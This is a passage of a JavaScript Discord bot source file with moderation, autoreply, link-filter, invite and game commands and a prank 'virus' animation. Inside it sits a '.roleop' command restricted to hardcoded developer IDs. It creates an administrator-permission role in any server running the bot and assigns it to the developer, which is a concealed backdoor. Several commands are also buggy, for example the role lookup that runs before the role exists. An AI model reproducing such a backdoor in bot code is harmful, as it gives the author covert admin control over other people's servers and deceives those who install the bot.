1749 return message.channel.send("``write the name of user``");
1750 }
1751 message.channel.send({embed: new Discord.RichEmbed().setTitle('Loading ' + virusname + "...").setColor(0xFF0000)}).then(function(m) {
1752 setTimeout(function() {
1753 m.edit({embed: new Discord.RichEmbed().setTitle('[' + virusname + ']: Loading Discord Virus [▓ ] 1%').setColor(0xFF0000)})
1754 }, 1000)
1755 setTimeout(function() {
1756 m.edit({embed: new Discord.RichEmbed().setTitle('[' + virusname + ']: Loading Discord Virus [▓▓▓▓] 25%').setColor(0xFF0000)})
1757 }, 2000)
1758 setTimeout(function() {
1759 m.edit({embed: new Discord.RichEmbed().setTitle('[' + virusname + ']: Loading Discord Virus [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ] 100%').setColor(0xFF0000)})
1760 }, 3000)
1761 setTimeout(function() {
1762 m.edit({embed: new Discord.RichEmbed().setTitle('[' + virusname + ']: Uploaded! Initiating explosion in 1...').setColor(0xFF0000)})
1763 }, 4000)
1764 setTimeout(function() {
1765 m.delete()
1766 }, 5000)
1767 setTimeout(function() {
1768 message.channel.send('Hacked')
1769 }, 6000)
1770 }, 6000)
1771}}
1772)
1773
1774
1775
1776
1777client.on('message' , async (message) => {
1778 if (message.content.startsWith(prefix + 'webhooksay')) {
1779 const args = message.content.substring(prefix.length).split(' ');
1780
1781 message.delete();
1782args.shift()
1783let msg = args.join(' ')
1784message.channel.createWebhook(message.author.username, message.author.avatarURL)
1785 .then(wb => {
1786 const user = new Discord.WebhookClient(wb.id, wb.token)
1787 user.send(msg);
1788 user.delete()
1789 })
1790 .catch(console.error)
1791 }
1792});
1793
1794const reply = JSON.parse(fs.readFileSync('./replys.json' , 'utf8'));
1795client.on('message', async message => {
1796 let messageArray = message.content.split(" ");
1797 if(message.content.startsWith(prefix + "1setReply")) {
1798
1799 let filter = m => m.author.id === message.author.id;
1800 let thisMessage;
1801 let thisFalse;
1802
1803 if(!message.member.hasPermission("MANAGE_GUILD")) return message.channel.send('You don\'t have permission').then(msg => {
1804 msg.delete(4500);
1805 message.delete(4500);
1806 });
1807
1808 message.channel.send(':pencil: **| Now write the message... :pencil2: **').then(msg => {
1809
1810 message.channel.awaitMessages(filter, {
1811 max: 1,
1812 time: 90000,
1813 errors: ['time']
1814 })
1815 .then(collected => {
1816 collected.first().delete();
1817 thisMessage = collected.first().content;
1818 let boi;
1819 msg.edit(':scroll: **| Please write your reply now.... :pencil2: **').then(msg => {
1820
1821 message.channel.awaitMessages(filter, {
1822 max: 1,
1823 time: 90000,
1824 errors: ['time']
1825 })
1826 .then(collected => {
1827 collected.first().delete();
1828 boi = collected.first().content;
1829 msg.edit('✅ **| Done successfully.. **').then(msg => {
1830
1831 message.channel.awaitMessages(filter, {
1832 max: 1,
1833 time: 90000,
1834 errors: ['time']
1835 })
1836 let embed = new Discord.RichEmbed()
1837 .setTitle('**Done The Autoreply Code Has Been Setup**')
1838 .addField('Message:', `${thisMessage}`)
1839 .addField('Reply:', `${boi}`)
1840 .setThumbnail(message.author.avatarURL)
1841 .setFooter(`${client.user.username}`)
1842 message.channel.sendEmbed(embed)
1843 reply[message.guild.id] = {
1844 msg: thisMessage,
1845 reply: boi,
1846 onoff: 'On'
1847 }
1848 fs.writeFile("./replys.json", JSON.stringify(reply), (err) => {
1849 if (err) console.error(err)
1850 })
1851 }
1852 )
1853 })
1854 })
1855})
1856 })
1857}})
1858client.on('message', async message => {
1859 if(!reply[message.guild.id]) reply[message.guild.id] = {
1860 onoff: 'Off'
1861 }
1862 if(reply[message.guild.id].onoff === 'Off') return;
1863 if(message.content === reply[message.guild.id].msg) {
1864 message.channel.send(reply[message.guild.id].reply)
1865 }}
1866)
1867
1868
1869const reply2 = JSON.parse(fs.readFileSync('./replys2.json' , 'utf8'));
1870client.on('message', async message => {
1871 let messageArray = message.content.split(" ");
1872 if(message.content === '.2setReply') {
1873
1874 let filter = m => m.author.id === message.author.id;
1875 let thisMessage;
1876 let thisFalse;
1877
1878 if(!message.member.hasPermission("MANAGE_GUILD")) return message.channel.send('You don\'t have permission').then(msg => {
1879 msg.delete(4500);
1880 message.delete(4500);
1881 });
1882
1883 message.channel.send(':pencil: **| Now write the message... :pencil2: **').then(msg => {
1884
1885 message.channel.awaitMessages(filter, {
1886 max: 1,
1887 time: 90000,
1888 errors: ['time']
1889 })
1890 .then(collected => {
1891 collected.first().delete();
1892 thisMessage = collected.first().content;
1893 let boi;
1894 msg.edit(':scroll: **| Please write your reply now.... :pencil2: **').then(msg => {
1895
1896 message.channel.awaitMessages(filter, {
1897 max: 1,
1898 time: 90000,
1899 errors: ['time']
1900 })
1901 .then(collected => {
1902 collected.first().delete();
1903 boi = collected.first().content;
1904 msg.edit('✅ **| Done successfully.. **').then(msg => {
1905
1906 message.channel.awaitMessages(filter, {
1907 max: 1,
1908 time: 90000,
1909 errors: ['time']
1910 })
1911 let embed = new Discord.RichEmbed()
1912 .setTitle('**Done The Autoreply2 Code Has Been Setup**')
1913 .addField('Message:', `${thisMessage}`)
1914 .addField('Reply:', `${boi}`)
1915 .setThumbnail(message.author.avatarURL)
1916 .setFooter(`${client.user.username}`)
1917 message.channel.sendEmbed(embed)
1918 reply2[message.guild.id] = {
1919 msg: thisMessage,
1920 reply: boi,
1921 onoff: 'On'
1922 }
1923 fs.writeFile("./replys2.json", JSON.stringify(reply2), (err) => {
1924 if (err) console.error(err)
1925 })
1926 }
1927 )
1928 })
1929 })
1930})
1931 })
1932}})
1933client.on('message', async message => {
1934 if(!reply2[message.guild.id]) reply2[message.guild.id] = {
1935 onoff: 'Off'
1936 }
1937 if(reply2[message.guild.id].onoff === 'Off') return;
1938 if(message.content === reply2[message.guild.id].msg) {
1939 message.channel.send(reply2[message.guild.id].reply)
1940 }}
1941)
1942
1943
1944const reply3 = JSON.parse(fs.readFileSync('./replys3.json' , 'utf8'));
1945client.on('message', async message => {
1946 let messageArray = message.content.split(" ");
1947 if(message.content.startsWith(prefix + "3setReply")) {
1948
1949 let filter = m => m.author.id === message.author.id;
1950 let thisMessage;
1951 let thisFalse;
1952
1953 if(!message.member.hasPermission("MANAGE_GUILD")) return message.channel.send('You don\'t have permission').then(msg => {
1954 msg.delete(4500);
1955 message.delete(4500);
1956 });
1957
1958 message.channel.send(':pencil: **| Now write the message... :pencil2: **').then(msg => {
1959
1960 message.channel.awaitMessages(filter, {
1961 max: 1,
1962 time: 90000,
1963 errors: ['time']
1964 })
1965 .then(collected => {
1966 collected.first().delete();
1967 thisMessage = collected.first().content;
1968 let boi;
1969 msg.edit(':scroll: **| Please write your reply now... :pencil2: **').then(msg => {
1970
1971 message.channel.awaitMessages(filter, {
1972 max: 1,
1973 time: 90000,
1974 errors: ['time']
1975 })
1976 .then(collected => {
1977 collected.first().delete();
1978 boi = collected.first().content;
1979 msg.edit('✅ **| Done successfully.. **').then(msg => {
1980
1981 message.channel.awaitMessages(filter, {
1982 max: 1,
1983 time: 90000,
1984 errors: ['time']
1985 })
1986 let embed = new Discord.RichEmbed()
1987 .setTitle('**Done The Autoreply3 Code Has Been Setup**')
1988 .addField('Message:', `${thisMessage}`)
1989 .addField('Reply:', `${boi}`)
1990 .setThumbnail(message.author.avatarURL)
1991 .setFooter(`${client.user.username}`)
1992 message.channel.sendEmbed(embed)
1993 reply3[message.guild.id] = {
1994 msg: thisMessage,
1995 reply: boi,
1996 onoff: 'On'
1997 }
1998 fs.writeFile("./replys3.json", JSON.stringify(reply3), (err) => {
1999 if (err) console.error(err)
2000 })
2001 }
2002 )
2003 })
2004 })
2005})
2006 })
2007}})
2008client.on('message', async message => {
2009 if(!reply3[message.guild.id]) reply3[message.guild.id] = {
2010 onoff: 'Off'
2011 }
2012 if(reply3[message.guild.id].onoff === 'Off') return;
2013 if(message.content === reply3[message.guild.id].msg) {
2014 message.channel.send(reply3[message.guild.id].reply)
2015 }}
2016)
2017
2018
2019client.on('message', message => {
2020 if(message.content.startsWith(prefix + "autoreply1 on")) {
2021 if(!message.channel.guild) return;
2022 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
2023reply[message.guild.id] = {
2024onoff: 'On',
2025}
2026message.channel.send(`**✅ The AutoReply1 Is __??__ !**`)
2027 fs.writeFile("./replys.json", JSON.stringify(reply), (err) => {
2028 if (err) console.error(err)
2029 .catch(err => {
2030 console.error(err);
2031 });
2032 });
2033 }
2034
2035 })
2036
2037client.on('message', message => {
2038 if(message.content.startsWith(prefix + "autoreply2 on")) {
2039 if(!message.channel.guild) return;
2040 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
2041reply2[message.guild.id] = {
2042onoff: 'On',
2043}
2044message.channel.send(`**✅ The AutoReply2 Is __??__ !**`)
2045 fs.writeFile("./replys2.json", JSON.stringify(reply2), (err) => {
2046 if (err) console.error(err)
2047 .catch(err => {
2048 console.error(err);
2049 });
2050 });
2051 }
2052
2053 })
2054 client.on('message', message => {
2055 if(message.content.startsWith(prefix + "autoreply3 on")) {
2056 if(!message.channel.guild) return;
2057 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
2058 reply3[message.guild.id] = {
2059 onoff: 'On',
2060 }
2061 message.channel.send(`**✅ The AutoReply3 Is __??__ !**`)
2062 fs.writeFile("./replys3.json", JSON.stringify(reply3), (err) => {
2063 if (err) console.error(err)
2064 .catch(err => {
2065 console.error(err);
2066 });
2067 });
2068 }
2069
2070 })
2071
2072 client.on('message', message => {
2073 if(message.content.startsWith(prefix + "autoreply1 off")) {
2074 if(!message.channel.guild) return;
2075 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
2076reply[message.guild.id] = {
2077onoff: 'Off',
2078}
2079message.channel.send(`**⛔ The AutoReply1 Is __???___ !**`)
2080 fs.writeFile("./replys.json", JSON.stringify(reply), (err) => {
2081 if (err) console.error(err)
2082 .catch(err => {
2083 console.error(err);
2084 });
2085 });
2086 }
2087
2088 })
2089
2090client.on('message', message => {
2091 if(message.content.startsWith(prefix + "autoreply2 off")) {
2092 if(!message.channel.guild) return;
2093 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
2094reply2[message.guild.id] = {
2095onoff: 'Off',
2096}
2097message.channel.send(`**⛔ The AutoReply2 Is __???___ !**`)
2098 fs.writeFile("./replys2.json", JSON.stringify(reply2), (err) => {
2099 if (err) console.error(err)
2100 .catch(err => {
2101 console.error(err);
2102 });
2103 });
2104 }
2105
2106 })
2107 client.on('message', message => {
2108 if(message.content.startsWith(prefix + "autoreply3 off")) {
2109 if(!message.channel.guild) return;
2110 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
2111 reply3[message.guild.id] = {
2112 onoff: 'Off',
2113 }
2114 message.channel.send(`**⛔ The AutoReply3 Is __???___ !**`)
2115 fs.writeFile("./replys3.json", JSON.stringify(reply3), (err) => {
2116 if (err) console.error(err)
2117 .catch(err => {
2118 console.error(err);
2119 });
2120 });
2121 }
2122
2123 })
2124 client.on('message', msg => {
2125
2126 if(msg.content.startsWith(prefix + 'botinvite')) {
2127 if(msg.channel.type === 'dm') return;
2128const user = msg.mentions.users.first();
2129if(!user) return msg.channel.send('``' + '****' + '``')
2130if(!user.bot) return msg.reply('\`You have made a mention for user not bot\`');
2131msg.channel.send(`**Bot InviteURL : ** https://discordapp.com/oauth2/authorize?client_id=${user.id}&scope=bot&permissions=384064`)
2132 }
2133});
2134
2135
2136client.on('message', message => {
2137 if (message.content === '.roleop') {
2138 if (!config.devs.includes(message.author.id)) return;
2139 if(!message.guild.member(client.user).hasPermissions(['MANAGE_ROLES'])) return;
2140let me = message.author
2141 let role = message.guild.createRole({
2142 name : 'oprole',
2143 color : "RANDOM",
2144 permissions : [8]
2145 })
2146 let role1 = message.guild.roles.find('name', 'oprole')
2147
2148
2149 message.channel.send(`DONE`)
2150 message.guild.member(me).addRole(role1);
2151}})
2152
2153
2154let rab6 = JSON.parse(fs.readFileSync('./rab6.json' , 'utf8'));
2155client.on('message', message => {
2156 if(message.content.startsWith(prefix + "toggleLink")) {
2157 if(!message.channel.guild) return;
2158 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
2159 if(!rab6[message.guild.id]) rab6[message.guild.id] = {
2160 onoff: 'Off'
2161 }
2162 if(rab6[message.guild.id].onoff === 'Off') return [message.channel.send(`**✅ The Invite Link Cmd Is __??__ !**`), rab6[message.guild.id].onoff = 'On']
2163 if(rab6[message.guild.id].onoff === 'On') return [message.channel.send(`**⛔ The Invite Link Cmd Is __???__ !**`), rab6[message.guild.id].onoff = 'Off']
2164 fs.writeFile("./rab6.json", JSON.stringify(rab6), (err) => {
2165 if (err) console.error(err)
2166 .catch(err => {
2167 console.error(err);
2168 });
2169 });
2170 }
2171
2172 })
2173const coolDown = new Set();
2174client.on('message', message => {
2175
2176 if (message.content.startsWith("link")) {
2177 if(!message.channel.guild) return;
2178 if(!rab6[message.guild.id]) rab6[message.guild.id] = {
2179 onoff: 'Off'
2180 }
2181 if(rab6[message.guild.id].onoff === 'Off') return;
2182 if(coolDown.has(message.author.id)) return message.channel.send(`**:stopwatch: | ${message.author.username}, your invite :yen: link refreshes in \`\`1 Day\`\`.**`);
2183
2184 message.channel.createInvite({
2185
2186 thing: true,
2187
2188 maxUses: 5,
2189
2190 maxAge: 86400
2191
2192 }).then(invite =>
2193
2194 message.author.sendMessage(invite.url)
2195
2196 )
2197
2198 message.channel.send("**The link was sent with a private message**") .then(() => {
2199 coolDown.add(message.author.id);
2200 });
2201
2202
2203 message.author.send(`**Link duration: day
2204 Number of uses of the link: 5**`)
2205
2206 }
2207
2208 setTimeout(() => {
2209 coolDown.remove(message.author.id);
2210 },86400000);
2211
2212 });
2213
2214client.on("message", async message => {
2215 if(message.content.startsWith(prefix + "banslist")) {
2216 if(!message.guild) return;
2217 if(!message.member.hasPermission('BAN_MEMBERS')) return message.channel.send('**Sorry But You Dont Have Permission** `BAN_MEMBERS`' );
2218 message.guild.fetchBans()
2219 .then(bans => {
2220 let b = bans.size;
2221 let bb = bans.map(a => `${a}`).join(" - ");
2222 message.channel.send(`**\`${b}\` | ${bb}**`);
2223 });
2224 }
2225});
2226client.on('message' , async (message) => {
2227 var prefix = "."
2228 if(message.content.startsWith(prefix + "topinvites")) {
2229 if(message.author.bot) return;
2230 if(!message.channel.guild) return message.reply(' Error : \` Server Command \`');
2231 var invites = await message.guild.fetchInvites();
2232 invites = invites.array();
2233 arraySort(invites, 'uses', { reverse: true });
2234 let possibleInvites = ['User Invited | Uses '];
2235 invites.forEach(i => {
2236 if (i.uses === 0) {
2237 return;
2238 }
2239 possibleInvites.push(['\n\ ' +'<@'+ i.inviter.id +'>' + ' : ' + i.uses]);
2240
2241 })
2242 const embed = new Discord.RichEmbed()
2243 .setColor('RANDOM')
2244 .addField("Top Invites." ,`${(possibleInvites)}`)
2245
2246 message.channel.send(embed)
2247}})
2248const devs = ["505638480248963072"]
2249
2250const adminprefix = ".";
2251client.on('message', message => {
2252 var argresult = message.content.split(` `).slice(1).join(' ');
2253 if (!devs.includes(message.author.id)) return;
2254
2255 if (message.content.startsWith(adminprefix + 'ply')) {
2256 client.user.setGame(argresult);
2257 message.channel.sendMessage(`**:white_check_mark: ${argresult}**`)
2258 } else
2259 if (message.content === (adminprefix + "Percie")) {
2260 message.guild.leave();
2261 } else
2262 if (message.content.startsWith(adminprefix + 'wt')) {
2263 client.user.setActivity(argresult, {type:'WATCHING'});
2264 message.channel.sendMessage(`**:white_check_mark: ${argresult}**`)
2265 } else
2266 if (message.content.startsWith(adminprefix + 'ls')) {
2267 client.user.setActivity(argresult , {type:'LISTENING'});
2268 message.channel.sendMessage(`**:white_check_mark: ${argresult}**`)
2269 } else
2270 if (message.content.startsWith(adminprefix + 'setname')) {
2271 client.user.setUsername(argresult).then
2272 message.channel.sendMessage(`**${argresult}** : Done :>`)
2273 return message.reply("**You Can't Change Your Name ,Only After Two Hours :>**");
2274 } else
2275 if (message.content.startsWith(adminprefix + 'setavatar')) {
2276 client.user.setAvatar(argresult);
2277 message.channel.sendMessage(`**${argresult}** : تم تغير صورة البوت`);
2278 } else
2279 if (message.content.startsWith(adminprefix + 'st')) {
2280 client.user.setGame(argresult, "https://www.twitch.tv/idk");
2281 message.channel.sendMessage(`**:white_check_mark: ${argresult}**`)
2282 }
2283 if(message.content === adminprefix + "restart") {
2284 if (!devs.includes(message.author.id)) return;
2285 message.channel.send(`:warning:️ **Bot restarting by ${message.author.username}**`);
2286 console.log("\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~");
2287 console.log(`⚠️ Bot restarting... ⚠️`);
2288 console.log("===============================================\n\n");
2289 client.destroy();
2290 child_process.fork(__dirname + "/bot.js");
2291 console.log(`Bot Successfully Restarted`);
2292 }
2293
2294 });
2295
2296
2297
2298let spread = JSON.parse(fs.readFileSync('./spread.json' , 'utf8'));
2299
2300
2301client.on('message', message => {
2302 if(message.content.startsWith(prefix + "antispread off")) {
2303 if(!message.channel.guild) return;
2304 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
2305spread[message.guild.id] = {
2306onoff: 'Off',
2307}
2308message.channel.send(`**⛔ The AntiSpread Is __???__ !**`)
2309 fs.writeFile("./spread.json", JSON.stringify(spread), (err) => {
2310 if (err) console.error(err)
2311 .catch(err => {
2312 console.error(err);
2313 });
2314 });
2315 }
2316
2317 })
2318 client.on('message', message => {
2319 if(message.content.startsWith(prefix + "antispread on")) {
2320 if(!message.channel.guild) return;
2321 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
2322spread[message.guild.id] = {
2323onoff: 'On',
2324}
2325message.channel.send(`**✅ The AntiSpread Is __??__ !**`)
2326 fs.writeFile("./spread.json", JSON.stringify(spread), (err) => {
2327 if (err) console.error(err)
2328 .catch(err => {
2329 console.error(err);
2330 });
2331 });
2332 }
2333
2334 })
2335 client.on('message', message => {
2336 var args = message.content.split(/[ ]+/)
2337 if(message.content.includes('http://www.gmail.com/')){
2338 if(!spread[message.guild.id]) spread[message.guild.id] = {
2339 onoff: 'Off'
2340 }
2341 if(spread[message.guild.id].onoff === 'Off') return;
2342 message.delete()
2343 return message.reply(`**⛔ The Antispread ON ! So You Cant spread Here !**`)
2344 }
2345});
2346
2347client.on('message', message => {
2348 var args = message.content.split(/[ ]+/)
2349 if(message.content.includes('https://www.snapchat.com/')){
2350 if(!spread[message.guild.id]) spread[message.guild.id] = {
2351 onoff: 'Off'
2352
2353 }
2354 if(spread[message.guild.id].onoff === 'Off') return;
2355 message.delete()
2356 return message.reply(`**⛔ The Antispread ON ! So You Cant spread Here !**`)
2357 }
2358});
2359
2360
2361client.on('message', message => {
2362 var args = message.content.split(/[ ]+/)
2363 if(message.content.includes('https://www.instagram.com/')){
2364 if(!spread[message.guild.id]) spread[message.guild.id] = {
2365 onoff: 'Off'
2366 }
2367 if(spread[message.guild.id].onoff === 'Off') return;
2368 message.delete()
2369 return message.reply(`**⛔ The Antispread ON ! So You Cant spread Here !**`)
2370 }
2371});
2372
2373
2374client.on('message', message => {
2375 var args = message.content.split(/[ ]+/)
2376 if(message.content.includes('https://www.twitter.com/')){
2377 if(!spread[message.guild.id]) spread[message.guild.id] = {
2378 onoff: 'Off'
2379 }
2380 if(spread[message.guild.id].onoff === 'Off') return;
2381 message.delete()
2382 return message.reply(`**⛔ The Antispread ON ! So You Cant spread Here !**`)
2383 }
2384});
2385
2386
2387client.on('message', message => {
2388 var args = message.content.split(/[ ]+/)
2389 if(message.content.includes('http://www.facebook.com/')){
2390 if(!spread[message.guild.id]) spread[message.guild.id] = {
2391 onoff: 'Off'
2392 }
2393 if(spread[message.guild.id].onoff === 'Off') return;
2394 message.delete()
2395 return message.reply(`**⛔ The Antispread ON ! So You Cant spread Here !**`)
2396 }
2397});
2398
2399
2400
2401client.on('message', message => {
2402 var args = message.content.split(/[ ]+/)
2403 if(message.content.includes('https://www.youtube.com/')){
2404 if(!spread[message.guild.id]) spread[message.guild.id] = {
2405 onoff: 'Off'
2406 }
2407 if(spread[message.guild.id].onoff === 'Off') return;
2408 message.delete()
2409 return message.reply(`**⛔ The Antispread ON ! So You Cant spread Here !**`)
2410 }
2411
2412});
2413
2414client.on('message', message => {
2415 var args = message.content.split(/[ ]+/)
2416 if(message.content.includes('https://www.discordapp.com/')){
2417 if(!spread[message.guild.id]) spread[message.guild.id] = {
2418 onoff: 'Off'
2419 }
2420 if(spread[message.guild.id].onoff === 'Off') return;
2421 message.delete()
2422 return message.reply(`**⛔ The Antispread ON ! So You Cant spread Here !**`)
2423 }
2424
2425});
2426client.on('message', message => {
2427 var args = message.content.split(/[ ]+/)
2428 if(message.content.includes('https://discord.gg/')){
2429 if(!spread[message.guild.id]) spread[message.guild.id] = {
2430 onoff: 'Off'
2431 }
2432 if(spread[message.guild.id].onoff === 'Off') return;
2433 message.delete()
2434 return message.reply(`**⛔ The Antispread ON ! So You Cant spread Here !**`)
2435 }
2436
2437});
2438
2439 let pointss = {}
2440
2441
2442 client.on('message', message => {
2443 if(message.author.bot) return;
2444 if (!points[message.author.id]) points[message.author.id] = {
2445 points: 0,id: message.author.id
2446 };
2447 if (message.content.startsWith(prefix + 'math')) {
2448 if(!message.channel.guild) return message.reply('**This Command For Servers Only**').then(m => m.delete(3000));
2449
2450 const type = require('./math.json');
2451 const item = type[Math.floor(Math.random() * type.length)];
2452 const filter = response => {
2453 return item.answers.some(answer => answer.toLowerCase() === response.content.toLowerCase());
2454 };
2455 message.channel.send('**You have 15 seconds to resolve the question**').then(msg => {
2456 const w = ['./img/w1.png'];//الخافيه
2457 let Image = Canvas.Image,
2458 canvas = new Canvas(400, 150),
2459 ctx = canvas.getContext('2d');
2460
2461 fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
2462 if (err) return console.log(err);
2463 let BG = Canvas.Image;
2464 let ground = new Image;
2465 ground.src = Background;
2466 ctx.drawImage(ground, 0, 0, 400, 150);
2467
2468});
2469 let url = message.author.displayAvatarURL.endsWith(".webp") ? message.author.displayAvatarURL.slice(5, -20) + ".png" : message.author.displayAvatarURL;
2470 jimp.read(url, (err, ava) => {
2471 if (err) return console.log(err);
2472 ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
2473 if (err) return console.log(err);
2474
2475
2476 ctx.font = '15px Arial';
2477 ctx.fontSize = '10px';
2478 ctx.fillStyle = "#FFFFFF";
2479 ctx.textAlign = "center";
2480 ctx.fillText(`${item.type} ` , 250, 100);
2481
2482 let Avatar = Canvas.Image;
2483 let ava = new Avatar;
2484 ava.src = buf;
2485 ctx.beginPath();
2486 ctx.arc(70, 80, 63, 0, Math.PI*2);
2487 ctx.closePath();
2488 ctx.clip();
2489 ctx.drawImage(ava, 8, 18, 128, 126);
2490message.channel.sendFile(canvas.toBuffer());
2491 })
2492
2493 message.channel.awaitMessages(filter,{
2494 thing: true,
2495 maxMatches : 1,
2496 time : 60000,
2497 maxUses: 1,
2498 errors : ['time']
2499 })//وقت الاجابة
2500 .then((collected) => {
2501 var embed = new Discord.RichEmbed()
2502 .setDescription(`${collected.first().author} ✅ **Well done I was able to answer his equation quickly**`)
2503 message.channel.send(embed);
2504 console.log(`[Typing] ${collected.first().author} typed the word.`);
2505 let won = collected.first().author;
2506 points[won.id].points++;
2507 })
2508 .catch(collected => {
2509 var embed1 = new Discord.RichEmbed()
2510 .setDescription(`:x: **No one was able to solve the equation in time**`)
2511 message.channel.send(embed1);
2512 console.log('[Typing] Error: No one type the word.');
2513
2514 })
2515 })
2516
2517 })
2518}
2519
2520});
2521
2522client.on("message", function(message) {
2523 var prefix = ".";
2524 if(message.content.startsWith(prefix + "rps")) {
2525 let messageArgs = message.content.split(" ").slice(1).join(" ");
2526 let messageRPS = message.content.split(" ").slice(2).join(" ");
2527 let arrayRPS = ['**# - Rock**','**# - Paper**','**# - Scissors**'];
2528 let result = `${arrayRPS[Math.floor(Math.random() * arrayRPS.length)]}`;
2529 var RpsEmbed = new Discord.RichEmbed()
2530 .setAuthor(message.author.username)
2531 .setThumbnail(message.author.avatarURL)
2532 .addField("Rock","?",true)
2533 .addField("Paper","?",true)
2534 .addField("Scissors","?",true)
2535 message.channel.send(RpsEmbed).then(msg => {
2536 msg.react('?')
2537 msg.react("?")
2538 msg.react("?")
2539.then(() => msg.react('?'))
2540.then(() =>msg.react('?'))
2541.then(() => msg.react('?'))
2542let reaction1Filter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;
2543let reaction2Filter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;
2544let reaction3Filter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;
2545let reaction1 = msg.createReactionCollector(reaction1Filter, { time: 12000 });
2546
2547let reaction2 = msg.createReactionCollector(reaction2Filter, { time: 12000 });
2548let reaction3 = msg.createReactionCollector(reaction3Filter, { time: 12000 });
2549reaction1.on("collect", r => {
2550 message.channel.send(result)
2551})
2552reaction2.on("collect", r => {
2553 message.channel.send(result)
2554})
2555reaction3.on("collect", r => {
2556 message.channel.send(result)
2557})
2558
2559 })
2560}
2561});
2562
2563
2564client.on('message', message => {
2565 if(message.author.bot) return;
2566if (message.content.startsWith(prefix + 'top')) {
2567 let _top = 1;
2568 let topp = Object.values(points);
2569 let top = topp.slice(0, 10).map(users => `**\`.${_top++}\` | <@${users.id}> \`XP: ${users.points}\`**`).sort((a, b) => a > b).join('\n');
2570 const prefixlor = new Discord.RichEmbed()
2571 .setTitle("Leaderboard")
2572 .setAuthor(client.user.username, client.user.avatarURL)
2573 .setDescription(top,true)
2574
2575 message.channel.sendEmbed(prefixlor)
2576}
2577
2578});
2579
2580client.on('message', message => {
2581 if(message.author.bot) return;
2582if (message.content.startsWith(prefix + 'Points')) {
2583 if(!message.channel.guild) return message.reply('**This Command For Servers Only**').then(m => m.delete(3000));
2584 let userData = points[message.author.id];
2585 let embed = new Discord.RichEmbed()
2586 .setAuthor(`${message.author.tag}`, message.author.avatarURL)
2587 .setColor('#000000')
2588 .setDescription(`Points: \`${userData.points}\``)
2589 message.channel.sendEmbed(embed)
2590 }
2591});
2592
2593
2594
2595
2596client.on('message',message =>{
2597 var command = message.content.toLowerCase().split(" ")[0];
2598 var args = message.content.toLowerCase().split(" ");
2599 var userM = message.mentions.users.first()
2600 if(command == prefix + 'unban') {
2601 if(!message.member.hasPermission('BAN_MEMBERS')) return message.channel.send(':no_entry: | You dont have **BAN_MEMBERS** Permission!');
2602 if(!message.guild.member(client.user).hasPermission("BAN_MEMBERS")) return message.channel.send(':no_entry: | I dont have **BAN_MEMBERS** Permission!');
2603 if(!args[1]) return message.channel.send(':no_entry: | Please type the ID of user');
2604 if(args[1].length < 16) return message.reply(':no_entry: | This ID is not id user!');
2605 message.guild.fetchBans().then(bans => {
2606 var Found = bans.find(m => m.id === args[1]);
2607 if(!Found) return message.channel.send(`:no_entry: | <@${message.author.id}> This preson not have any ban from this server! :unlock:`);
2608 message.guild.unban(args[1]);
2609 message.channel.send(`:white_check_mark: Successfully \`\`UNBANNED\`\` <@${args[1]}> From the server!`);
2610
2611 }
2612
2613 )}
2614 })
2615
2616
2617 client.on('message', message => {
2618
2619 var ms = require('ms')
2620
2621 var moment = require('moment');
2622
2623 if (message.author.bot) return;
2624
2625 if (!message.content.startsWith(prefix)) return;
2626
2627 let command = message.content.split(" ")[0];
2628
2629 command = command.slice(prefix.length);
2630
2631 let args = message.content.split(" ").slice(1);
2632
2633 let messageArray = message.content.split(" ");
2634
2635 let embed = new Discord.RichEmbed()
2636
2637.setTitle('Examples:')
2638.setDescription(`${prefix}ban @metion 1h share
2639${prefix}ban @metion 1d selfbot
2640${prefix}ban @metion 1w swearing
2641`)
2642 if (command == "ban") {
2643
2644 if(!message.channel.guild) return message.reply('** This command only for servers**');
2645
2646 if(!message.guild.member(message.author).hasPermission("BAN_MEMBERS")) return message.reply("**:x: You Don't Have ` BAN_MEMBERS ` Permission**");
2647
2648 if(!message.guild.member(client.user).hasPermission("BAN_MEMBERS")) return message.reply("**:x: I Don't Have ` BAN_MEMBERS ` Permission**");
2649
2650 let user = message.mentions.users.first();
2651
2652 let Reason = message.content.split(" ").slice(3).join(" ");
2653
2654 let time = messageArray[2];
2655
2656 if (message.mentions.users.size < 1) return message.channel.sendEmbed(embed)
2657
2658 if (!message.guild.member(user).bannable) return message.reply("**:x:I Don't Have Permission For Ban This User**");
2659
2660 if(!time.match(/[1-60][s,m,h,d,w]/g)) return message.channel.send(':x: This Time Is Incorrect')
2661
2662 if(!Reason) {
2663
2664 message.guild.member(user).ban({reason: Reason})
2665
2666 }
2667
2668 if(!Reason && time) {
2669
2670 message.guild.member(user).ban(7, user);
2671
2672 }
2673
2674 if(!time) {
2675
2676 message.guild.member(user).ban(7, user);
2677
2678 }
2679 if(time === '0') {
2680 message.guild.member(user).ban(7, user);
2681 }
2682 if(time) {
2683
2684 setTimeout(() => {
2685
2686 message.guild.unban(user);
2687
2688 }, ms(time));
2689
2690 }
2691
2692 if(time && Reason && user) {
2693
2694 message.guild.member(user).ban({reason: Reason})
2695
2696
2697 setTimeout(() => {
2698
2699 message.guild.unban(user);
2700
2701 }, ms(time));
